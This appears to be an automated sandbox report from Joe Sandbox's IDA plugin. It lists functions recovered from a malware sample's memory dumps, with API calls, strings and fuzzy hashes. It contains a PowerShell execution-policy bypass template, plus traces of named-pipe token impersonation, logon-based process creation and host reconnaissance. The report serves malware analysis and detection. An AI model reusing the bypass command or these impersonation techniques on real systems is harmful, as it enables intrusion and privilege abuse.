Part of subcall function 001BE684: _errno.LIBCMT ref: 001BE708

Part of subcall function 001BB630: _time64.LIBCMT ref: 001BB654
Part of subcall function 001BB630: malloc.LIBCMT ref: 001BB69C
Part of subcall function 001BB630: strtok.LIBCMT ref: 001BB700
Part of subcall function 001BB630: strtok.LIBCMT ref: 001BB711

Part of subcall function 001B28A0: _time64.LIBCMT ref: 001B28AE

Part of subcall function 001BDEA8: malloc.LIBCMT ref: 001BDEF8

Part of subcall function 001BDEA8: realloc.LIBCMT ref: 001BDF07

malloc.LIBCMT ref: 001AC04A
_snprintf.LIBCMT ref: 001AC0C1
_snprintf.LIBCMT ref: 001AC0E7
_snprintf.LIBCMT ref: 001AC10E
free.LIBCMT ref: 001AC2C6

Part of subcall function 001BA144: malloc.LIBCMT ref: 001BA178
Part of subcall function 001BA144: free.LIBCMT ref: 001BA32F

Strings

/'); %s, xrefs: 001AC0B2, 001AC0DA, 001AC0F1

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: malloc$_snprintf$_errno_time64freestrtok$_callnewhrealloc
String ID: /'); %s
API String ID: 1314452303-1283008465
Opcode ID: a14b20026d747f2b5753e6fc705179295a1c2f23b63bad27e5059ac536f54d83
Instruction ID: 2e1e53b0162e0ebcb552ed176464fe12739a6b053966d81585ff3166033a2d9c
Opcode Fuzzy Hash: a14b20026d747f2b5753e6fc705179295a1c2f23b63bad27e5059ac536f54d83
Instruction Fuzzy Hash: 0DA1D13530068186DB18FBB2E8917EE7392ABA67C1F804125FE5A47796DF3CC806C741

Function 0067B47C Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 258COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00675FEC: malloc.LIBCMT ref: 00676008

malloc.LIBCMT ref: 0067B528

Part of subcall function 0067F284: _FF_MSGBANNER.LIBCMT ref: 0067F2B4
Part of subcall function 0067F284: _NMSG_WRITE.LIBCMT ref: 0067F2BE
Part of subcall function 0067F284: HeapAlloc.KERNEL32 ref: 0067F2D9
Part of subcall function 0067F284: _callnewh.LIBCMT ref: 0067F2F2
Part of subcall function 0067F284: _errno.LIBCMT ref: 0067F2FD
Part of subcall function 0067F284: _errno.LIBCMT ref: 0067F308

Part of subcall function 0067EAA8: malloc.LIBCMT ref: 0067EAF8

GetComputerNameExA.KERNEL32 ref: 0067B5EA
GetComputerNameA.KERNEL32 ref: 0067B61F
GetUserNameA.ADVAPI32 ref: 0067B654

Part of subcall function 0066F014: WSASocketA.WS2_32 ref: 0066F042

malloc.LIBCMT ref: 0067B76D

Strings

VUUU, xrefs: 0067B6B0

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: malloc$Name$Computer_errno$AllocHeapSocketUser_callnewh
String ID: VUUU
API String ID: 632458648-2040033107
Opcode ID: 05713f2820868472ca49688c2b85268c5ac8a6a8808567d94079f7d4b5d3be16
Instruction ID: d29d9931251baad784a1826376812f60e93414938d2a0f9df4c39f6f065345ae
Opcode Fuzzy Hash: 05713f2820868472ca49688c2b85268c5ac8a6a8808567d94079f7d4b5d3be16
Instruction Fuzzy Hash: 69913636700A9086EB44EF6AD8653AD2353BB89BC4FC0D029EE0D5BB56DF39C945C704

Function 001AE004 Relevance: 10.7, APIs: 5, Strings: 2, Instructions: 165COMMONLIBRARYCODE

Download Yara Rule

APIs

_snprintf.LIBCMT ref: 001AE0D3
_snprintf.LIBCMT ref: 001AE0FE
_snprintf.LIBCMT ref: 001AE11A
_snprintf.LIBCMT ref: 001AE1CF
_snprintf.LIBCMT ref: 001AE1E6

Strings

rshell -nop -exec bypass -EncodedCommand "%s", xrefs: 001AE02A
/'); %s, xrefs: 001AE0CA, 001AE0F5, 001AE1C4

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _snprintf
String ID: /'); %s$rshell -nop -exec bypass -EncodedCommand "%s"
API String ID: 3512837008-1250630670
Opcode ID: 72e4e973a1d0442b98f7febb78707b45b3081222fbe35b5ecbc6412512dc3076
Instruction ID: 6a465962cabf8489c5691470ad028bed19716a351b7ab40bfcc4a69e4c0c2c17
Opcode Fuzzy Hash: 72e4e973a1d0442b98f7febb78707b45b3081222fbe35b5ecbc6412512dc3076
Instruction Fuzzy Hash: 7A719976300B85A6EB10DF61E8807ED77A1F799788F840526EE4E13BA8DF78C509C700

Function 00671478 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 128processCOMMON

Download Yara Rule

APIs

Part of subcall function 00675FEC: malloc.LIBCMT ref: 00676008

GetStartupInfoA.KERNEL32 ref: 00671540

Part of subcall function 0066FE54: MultiByteToWideChar.KERNEL32 ref: 0066FE81
Part of subcall function 0066FE54: MultiByteToWideChar.KERNEL32 ref: 0066FEA9

GetCurrentDirectoryW.KERNEL32 ref: 006715CD
GetCurrentDirectoryW.KERNEL32 ref: 006715DC
CreateProcessWithLogonW.ADVAPI32 ref: 00671637
GetLastError.KERNEL32 ref: 00671641

Strings

%s as %s\%s: %d, xrefs: 00671647

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: ByteCharCurrentDirectoryMultiWide$CreateErrorInfoLastLogonProcessStartupWithmalloc
String ID: %s as %s\%s: %d
API String ID: 3435635427-816037529
Opcode ID: bd007c1fecfa8e9c64263907c3ef2a9985436de431c3054d3c53bc822cf7e9f1
Instruction ID: 80a158382953b88b06e520f675666d0f8cd5c6e7d3343fb356ae6e5c51471de1
Opcode Fuzzy Hash: bd007c1fecfa8e9c64263907c3ef2a9985436de431c3054d3c53bc822cf7e9f1
Instruction Fuzzy Hash: 35515A32204B8186DB60DF16F85475AB7AAF789B80F54802AEF8D97F29DF39C055CB44

Function 001B0A94 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 001B53EC: malloc.LIBCMT ref: 001B5408

Part of subcall function 001BFA20: _errno.LIBCMT ref: 001BF977
Part of subcall function 001BFA20: _invalid_parameter_noinfo.LIBCMT ref: 001BF982

fseek.LIBCMT ref: 001B0B30

Part of subcall function 001C02A4: _errno.LIBCMT ref: 001C02CC
Part of subcall function 001C02A4: _invalid_parameter_noinfo.LIBCMT ref: 001C02D7

_ftelli64.LIBCMT ref: 001B0B38

Part of subcall function 001C0318: _errno.LIBCMT ref: 001C0336
Part of subcall function 001C0318: _invalid_parameter_noinfo.LIBCMT ref: 001C0341

fseek.LIBCMT ref: 001B0B48

Part of subcall function 001C02A4: _fseek_nolock.LIBCMT ref: 001C02F5

malloc.LIBCMT ref: 001B0B88

Part of subcall function 001BE684: _FF_MSGBANNER.LIBCMT ref: 001BE6B4
Part of subcall function 001BE684: _NMSG_WRITE.LIBCMT ref: 001BE6BE
Part of subcall function 001BE684: _callnewh.LIBCMT ref: 001BE6F2
Part of subcall function 001BE684: _errno.LIBCMT ref: 001BE6FD
Part of subcall function 001BE684: _errno.LIBCMT ref: 001BE708

Part of subcall function 001AC444: malloc.LIBCMT ref: 001AC457

fclose.LIBCMT ref: 001B0C45

Strings

mode, xrefs: 001B0B07

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _errno$_invalid_parameter_noinfomalloc$fseek$_callnewh_fseek_nolock_ftelli64fclose
String ID: mode
API String ID: 1756087678-2976727214
Opcode ID: f827565397daa4a866320a6784096609c7711a7c42725b9a2a2b01c24697e092
Instruction ID: 90d0e5ddde56df2123dc45e1f2ef815405a37f99bc65f5c34af3800dbad401eb
Opcode Fuzzy Hash: f827565397daa4a866320a6784096609c7711a7c42725b9a2a2b01c24697e092
Instruction Fuzzy Hash: B541D82631468082DB14EB12E8557AE7752F7EDBD0F808226EE5E47B96DF3CC506CB40

Function 001B8620 Relevance: 10.6, APIs: 6, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 001B864F

Part of subcall function 001BE684: _FF_MSGBANNER.LIBCMT ref: 001BE6B4
Part of subcall function 001BE684: _NMSG_WRITE.LIBCMT ref: 001BE6BE
Part of subcall function 001BE684: _callnewh.LIBCMT ref: 001BE6F2
Part of subcall function 001BE684: _errno.LIBCMT ref: 001BE6FD
Part of subcall function 001BE684: _errno.LIBCMT ref: 001BE708

_snprintf.LIBCMT ref: 001B8667

Part of subcall function 001BEA3C: _errno.LIBCMT ref: 001BEA73
Part of subcall function 001BEA3C: _invalid_parameter_noinfo.LIBCMT ref: 001BEA7E

free.LIBCMT ref: 001B867E

Part of subcall function 001BE644: _errno.LIBCMT ref: 001BE664

malloc.LIBCMT ref: 001B86CE
_snprintf.LIBCMT ref: 001B86E6
free.LIBCMT ref: 001B870E

Strings

/'); %s, xrefs: 001B86D3

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _errno$_snprintffreemalloc$_callnewh_invalid_parameter_noinfo
String ID: /'); %s
API String ID: 761449704-1283008465
Opcode ID: 6cfeb8f42d39390d21f7f655b5309285a784ce0f998201f3a4c834a9ff33a05d
Instruction ID: 53664babb93e745c368a5b9844ddd80b759a732194ffa29d953fd55d02d63f9f
Opcode Fuzzy Hash: 6cfeb8f42d39390d21f7f655b5309285a784ce0f998201f3a4c834a9ff33a05d
Instruction Fuzzy Hash: 193135213006C125DA199FA36C143E9BB66B79AFE4F984112DEE507BA6CF3CC443C300

Function 0067E98C Relevance: 10.6, APIs: 7, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0067E9D7
OpenProcessToken.ADVAPI32 ref: 0067E9FB
GetLastError.KERNEL32 ref: 0067EA05

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: ErrorLast$OpenProcessToken
String ID:
API String ID: 2009710997-0
Opcode ID: 12a3f9e128b967964898bf965f43ef985f021f837df021f2e119c6413e458a11
Instruction ID: be70d9a1b9824e6d91bdd001a0645cfd12320119953c9e94c73a6e9c154cd505
Opcode Fuzzy Hash: 12a3f9e128b967964898bf965f43ef985f021f837df021f2e119c6413e458a11
Instruction Fuzzy Hash: 0C21C425304B0186EB54AF62E46475A67A3FBC8BA4F14803CAE4E43B15DF3EC44ACB84

Function 001BF210 Relevance: 10.6, APIs: 7, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 001BF236

Part of subcall function 001C1118: _getptd_noexit.LIBCMT ref: 001C111C

_invalid_parameter_noinfo.LIBCMT ref: 001BF242
__crtIsPackagedApp.LIBCMT ref: 001BF253
_dosmaperr.LIBCMT ref: 001BF29D

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: Packaged__crt_dosmaperr_errno_getptd_noexit_invalid_parameter_noinfo
String ID:
API String ID: 2917016420-0
Opcode ID: 6bd0c9401fb351ee2ef62b7ec5c1d05d22ccd8d85f9d07845cb75c559d0d09e7
Instruction ID: 3ed8b6cf709debf8d3d5eb5d30d3862baa036c4a4594f282fce4260f8f547789
Opcode Fuzzy Hash: 6bd0c9401fb351ee2ef62b7ec5c1d05d22ccd8d85f9d07845cb75c559d0d09e7
Instruction Fuzzy Hash: 0821CF36300B4096EB14AF76AC153ADB7E1FBA9BA4F184639EE49437A5DF3CC4428700

Function 0068FBD0 Relevance: 10.6, APIs: 7, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0068FC04

Part of subcall function 00681600: _getptd.LIBCMT ref: 00681616
Part of subcall function 00681600: __updatetlocinfo.LIBCMT ref: 0068164B
Part of subcall function 00681600: __updatetmbcinfo.LIBCMT ref: 00681672

_errno.LIBCMT ref: 0068FC1F
_invalid_parameter_noinfo.LIBCMT ref: 0068FC2A

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: Locale$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_errno_getptd_invalid_parameter_noinfo
String ID:
API String ID: 3191669884-0
Opcode ID: 04a51c6534ba67d8c2ce71a0e6c0b8946822a3beaaa0ad6abf8e1e016199c0f5
Instruction ID: d3b0a8c39b02e232e219af6ac56bdc75e73b4ff08cdd2bd878a79b47920382d2
Opcode Fuzzy Hash: 04a51c6534ba67d8c2ce71a0e6c0b8946822a3beaaa0ad6abf8e1e016199c0f5
Instruction Fuzzy Hash: 482183723047888AD761AF11D48469EB7A6FB95BE0F684335EF5817B55CB34CA82C700

Function 001CEFD0 Relevance: 10.6, APIs: 7, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 001CF004

Part of subcall function 001C0A00: _getptd.LIBCMT ref: 001C0A16
Part of subcall function 001C0A00: __updatetlocinfo.LIBCMT ref: 001C0A4B
Part of subcall function 001C0A00: __updatetmbcinfo.LIBCMT ref: 001C0A72

_errno.LIBCMT ref: 001CF01F
_invalid_parameter_noinfo.LIBCMT ref: 001CF02A

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: Locale$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_errno_getptd_invalid_parameter_noinfo
String ID:
API String ID: 3191669884-0
Opcode ID: 17da934d4d304edacbb08e48815c32878d4d79cd43a7a40298e59a88dbb9cc3b
Instruction ID: 0ce4bd91c6ac52b6e23cc360a9f001d43c82dac6a01da28f891c7d467d7c2d83
Opcode Fuzzy Hash: 17da934d4d304edacbb08e48815c32878d4d79cd43a7a40298e59a88dbb9cc3b
Instruction Fuzzy Hash: 45218B722047848AD7109F52D485F69B7A6F7A9FE0F69823DEF5807B46CB34C856CB00

Function 0067596C Relevance: 10.6, APIs: 7, Instructions: 52COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0067597D
ioctlsocket.WS2_32 ref: 0067599E
GetTickCount.KERNEL32 ref: 006759E3
ioctlsocket.WS2_32 ref: 00675A05

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: CountTickioctlsocket
String ID:
API String ID: 3686034022-0
Opcode ID: 178b23397deac81d3d51abbf71857af196517098d1f0b7b181b2ee049de2b99e
Instruction ID: bbe50e0202cb6f6ad8ee280aec3c1a58fbc916d8ae08fde82de85a24ae74b9b2
Opcode Fuzzy Hash: 178b23397deac81d3d51abbf71857af196517098d1f0b7b181b2ee049de2b99e
Instruction Fuzzy Hash: 94112932704EC197E7108B69E8543597322E784BB4F504220DB4E86EA0DFBDCC99CB50

Function 00670AA0 Relevance: 10.5, APIs: 7, Instructions: 45pipethreadfileCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00670AC6
ConnectNamedPipe.KERNEL32 ref: 00670ADC
ReadFile.KERNEL32 ref: 00670B06
ImpersonateNamedPipeClient.ADVAPI32 ref: 00670B17
GetCurrentThread.KERNEL32 ref: 00670B21
OpenThreadToken.ADVAPI32 ref: 00670B39
DisconnectNamedPipe.KERNEL32 ref: 00670B4F

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: NamedPipe$Thread$ClientConnectCurrentDisconnectErrorFileImpersonateLastOpenReadToken
String ID:
API String ID: 4232080776-0
Opcode ID: ef7db9755eefa0db9f7ee1ec6e209610e40617530726d74f2edde71b678aab6d
Instruction ID: b18c62b105e39fa9bd382888b4b7a9ba732a94301dd04494ffbb538dad6fbaa7
Opcode Fuzzy Hash: ef7db9755eefa0db9f7ee1ec6e209610e40617530726d74f2edde71b678aab6d
Instruction Fuzzy Hash: 7311E331710642C6F750AB25EC647AA3327FBC4B44F848116890E82E60DF3EC568CB62

Function 00680B10 Relevance: 9.2, APIs: 6, Instructions: 166COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 00680B4C

Part of subcall function 00681D18: _getptd_noexit.LIBCMT ref: 00681D1C

_invalid_parameter_noinfo.LIBCMT ref: 00680B57
memcpy_s.LIBCMT ref: 00680C1C
_fileno.LIBCMT ref: 00680C87
_filbuf.LIBCMT ref: 00680CB5
_errno.LIBCMT ref: 00680D05

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _errno$_filbuf_fileno_getptd_noexit_invalid_parameter_noinfomemcpy_s
String ID:
API String ID: 2328795619-0
Opcode ID: 4bbdce99b29ecd3e24264ac9f3b66a56e11342a03ebc5466d7d382185dba5216
Instruction ID: 482e37c5ac51eca48aac66d78720c05e2b5d2f6479f3cc17f4d53c8a761545bf
Opcode Fuzzy Hash: 4bbdce99b29ecd3e24264ac9f3b66a56e11342a03ebc5466d7d382185dba5216
Instruction Fuzzy Hash: AF51603170475086FB98BE6695005AAB693F755FF8F148F24AE3947FD4CB38D49A8340

Function 001BFF10 Relevance: 9.2, APIs: 6, Instructions: 166COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 001BFF4C

Part of subcall function 001C1118: _getptd_noexit.LIBCMT ref: 001C111C

_invalid_parameter_noinfo.LIBCMT ref: 001BFF57
memcpy_s.LIBCMT ref: 001C001C
_fileno.LIBCMT ref: 001C0087
_filbuf.LIBCMT ref: 001C00B5
_errno.LIBCMT ref: 001C0105

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _errno$_filbuf_fileno_getptd_noexit_invalid_parameter_noinfomemcpy_s
String ID:
API String ID: 2328795619-0
Opcode ID: a6b8c894bc097219f3410178b0f3ee4aa495d15850340b6c84f373b071b042dd
Instruction ID: c862a0ed6b8f5ce2fa69b836523f6c9ead2efe547d3ca5b4723f08b5149bf0ef
Opcode Fuzzy Hash: a6b8c894bc097219f3410178b0f3ee4aa495d15850340b6c84f373b071b042dd
Instruction Fuzzy Hash: 07512C32704350C69B198A665900BBAB691B769BF4F19872DFF7943FD5CB38C4A28740

Function 001B1030 Relevance: 9.2, APIs: 3, Strings: 3, Instructions: 150COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 001B1063

Part of subcall function 001BE684: _FF_MSGBANNER.LIBCMT ref: 001BE6B4
Part of subcall function 001BE684: _NMSG_WRITE.LIBCMT ref: 001BE6BE
Part of subcall function 001BE684: _callnewh.LIBCMT ref: 001BE6F2
Part of subcall function 001BE684: _errno.LIBCMT ref: 001BE6FD
Part of subcall function 001BE684: _errno.LIBCMT ref: 001BE708

Part of subcall function 001AC444: malloc.LIBCMT ref: 001AC457

free.LIBCMT ref: 001B115E
free.LIBCMT ref: 001B116B

Part of subcall function 001BE644: _errno.LIBCMT ref: 001BE664

Strings

open process: %d (%u), xrefs: 001B10BF
1:%u/'); %s, xrefs: 001B10F9
n from %d (%u), xrefs: 001B1229

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _errno$freemalloc$_callnewh
String ID: 1:%u/'); %s$n from %d (%u)$open process: %d (%u)
API String ID: 2029259483-317027030
Opcode ID: dc04f393f0e4fed79304e7eb9afd54a7656e6f03fcd842c9ac36e4d1f5269005
Instruction ID: c88a008fba11b0880876a59c021beeebc6c3bd86dbfa66db4d61d791c2e2c4ff
Opcode Fuzzy Hash: dc04f393f0e4fed79304e7eb9afd54a7656e6f03fcd842c9ac36e4d1f5269005
Instruction Fuzzy Hash: 4651C072708790A6DB10DF66E4503EEB7A2F399B94F404016EE8A47B58EF7CC609CB40

Function 0068A348 Relevance: 9.1, APIs: 6, Instructions: 132COMMONLIBRARYCODE

Download Yara Rule

APIs

_mtinitlocknum.LIBCMT ref: 0068A375

Part of subcall function 00683E58: _FF_MSGBANNER.LIBCMT ref: 00683E75
Part of subcall function 00683E58: _NMSG_WRITE.LIBCMT ref: 00683E7F

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 0068A3F8
EnterCriticalSection.KERNEL32 ref: 0068A414
LeaveCriticalSection.KERNEL32 ref: 0068A424
_calloc_crt.LIBCMT ref: 0068A49A
__lock_fhandle.LIBCMT ref: 0068A502

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountEnterInitializeLeaveSpin__lock_fhandle_calloc_crt_mtinitlocknum
String ID:
API String ID: 445582508-0
Opcode ID: 37ad4fda8a075f5cd4d07cec490ae037cae96ac67048c51c0eece2b82dd4d161
Instruction ID: 4914a5b9f05a24cbee6919df2c3318ca5fba6cc4527ed45511ea0f3f6cba0893
Opcode Fuzzy Hash: 37ad4fda8a075f5cd4d07cec490ae037cae96ac67048c51c0eece2b82dd4d161
Instruction Fuzzy Hash: 0E51F33260078082EF20EF54D45436DB7ABFB94B58F19471ADE4E477A0DBB8C956C702

Function 00671694 Relevance: 9.1, APIs: 6, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 00675FEC: malloc.LIBCMT ref: 00676008

Part of subcall function 00680620: _errno.LIBCMT ref: 00680577
Part of subcall function 00680620: _invalid_parameter_noinfo.LIBCMT ref: 00680582

fseek.LIBCMT ref: 00671730

Part of subcall function 00680EA4: _errno.LIBCMT ref: 00680ECC
Part of subcall function 00680EA4: _invalid_parameter_noinfo.LIBCMT ref: 00680ED7

_ftelli64.LIBCMT ref: 00671738

Part of subcall function 00680F18: _errno.LIBCMT ref: 00680F36
Part of subcall function 00680F18: _invalid_parameter_noinfo.LIBCMT ref: 00680F41

fseek.LIBCMT ref: 00671748

Part of subcall function 00680EA4: _fseek_nolock.LIBCMT ref: 00680EF5

GetFullPathNameA.KERNEL32 ref: 0067176B
malloc.LIBCMT ref: 00671788

Part of subcall function 0067F284: _FF_MSGBANNER.LIBCMT ref: 0067F2B4
Part of subcall function 0067F284: _NMSG_WRITE.LIBCMT ref: 0067F2BE
Part of subcall function 0067F284: HeapAlloc.KERNEL32 ref: 0067F2D9
Part of subcall function 0067F284: _callnewh.LIBCMT ref: 0067F2F2
Part of subcall function 0067F284: _errno.LIBCMT ref: 0067F2FD
Part of subcall function 0067F284: _errno.LIBCMT ref: 0067F308

Part of subcall function 0066D044: malloc.LIBCMT ref: 0066D057

Part of subcall function 0066D074: htonl.WS2_32 ref: 0066D07F

fclose.LIBCMT ref: 00671845

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _errno$_invalid_parameter_noinfomalloc$fseek$AllocFullHeapNamePath_callnewh_fseek_nolock_ftelli64fclosehtonl
String ID:
API String ID: 3587854850-0
Opcode ID: f2abbbf20f3530519e2fbcb7cf3f65dd4e7c47c251f31922550871d18ad798e2
Instruction ID: 7ab80978dd0f55085e882ccbcc8fdfab77c345480eb8815360099638d3a819f6
Opcode Fuzzy Hash: f2abbbf20f3530519e2fbcb7cf3f65dd4e7c47c251f31922550871d18ad798e2
Instruction Fuzzy Hash: CB41F52271468082DB84EB26E41576E6353F7C9BD0F90C22AEE5E4BB96DF3DC506CB05

Function 00675C60 Relevance: 9.1, APIs: 6, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

GetACP.KERNEL32 ref: 00675C78
GetOEMCP.KERNEL32 ref: 00675C82
GetCurrentProcessId.KERNEL32 ref: 00675CA8
GetTickCount.KERNEL32 ref: 00675CB0

Part of subcall function 0068044C: _getptd.LIBCMT ref: 00680454

GetCurrentProcess.KERNEL32 ref: 00675CEC

Part of subcall function 00670C64: GetModuleHandleA.KERNEL32 ref: 00670C79
Part of subcall function 00670C64: GetProcAddress.KERNEL32 ref: 00670C89

GetCurrentProcessId.KERNEL32 ref: 00675D5E

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: CurrentProcess$AddressCountHandleModuleProcTick_getptd
String ID:
API String ID: 3426420785-0
Opcode ID: cace55278df1f4be28c563725835e26b24be87b65be8dda4f354c1bcfac1d593
Instruction ID: a31f047bb2689254cef874948690ad23f5f662dbf2868a21ec4335529d286551
Opcode Fuzzy Hash: cace55278df1f4be28c563725835e26b24be87b65be8dda4f354c1bcfac1d593
Instruction Fuzzy Hash: EB410662710611A5FF40EBB1DC6579D33ABBF89784F40441AEE0D87A69EF3AC10AC758

Function 00676F2C Relevance: 9.1, APIs: 6, Instructions: 99networkCOMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 00676F5E

Part of subcall function 0067F284: _FF_MSGBANNER.LIBCMT ref: 0067F2B4
Part of subcall function 0067F284: _NMSG_WRITE.LIBCMT ref: 0067F2BE
Part of subcall function 0067F284: HeapAlloc.KERNEL32 ref: 0067F2D9
Part of subcall function 0067F284: _callnewh.LIBCMT ref: 0067F2F2
Part of subcall function 0067F284: _errno.LIBCMT ref: 0067F2FD
Part of subcall function 0067F284: _errno.LIBCMT ref: 0067F308

htonl.WS2_32 ref: 00676F91
recvfrom.WS2_32 ref: 00676FD5
WSAGetLastError.WS2_32 ref: 00676FE2

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _errno$AllocErrorHeapLast_callnewhhtonlmallocrecvfrom
String ID:
API String ID: 2310505145-0
Opcode ID: 2261c4ce2f877d491e78f0891c545d8b3f459d63dae9fe63479e894e722204df
Instruction ID: dacedd6afec655f8603582c3147e2722dd160d8df43d601f604d9943b79852a0
Opcode Fuzzy Hash: 2261c4ce2f877d491e78f0891c545d8b3f459d63dae9fe63479e894e722204df
Instruction Fuzzy Hash: 5A41C272304B80C2EB10DF25E85476A77A3F799BA8F148225EA8D47B68DF39C491CF41

Function 006779C4 Relevance: 9.1, APIs: 6, Instructions: 96threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 006779FF
UpdateProcThreadAttribute.KERNEL32 ref: 00677A3F
GetLastError.KERNEL32 ref: 00677A49
GetCurrentProcess.KERNEL32 ref: 00677A7E
GetCurrentProcess.KERNEL32 ref: 00677ABE
GetCurrentProcess.KERNEL32 ref: 00677AEF

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: CurrentProcess$ErrorLast$AttributeProcThreadUpdate
String ID:
API String ID: 1014270282-0
Opcode ID: b3d57bf1a8e1718da0dab59a644853e162df0a73d9a39d542a15f5b5bcb328ed
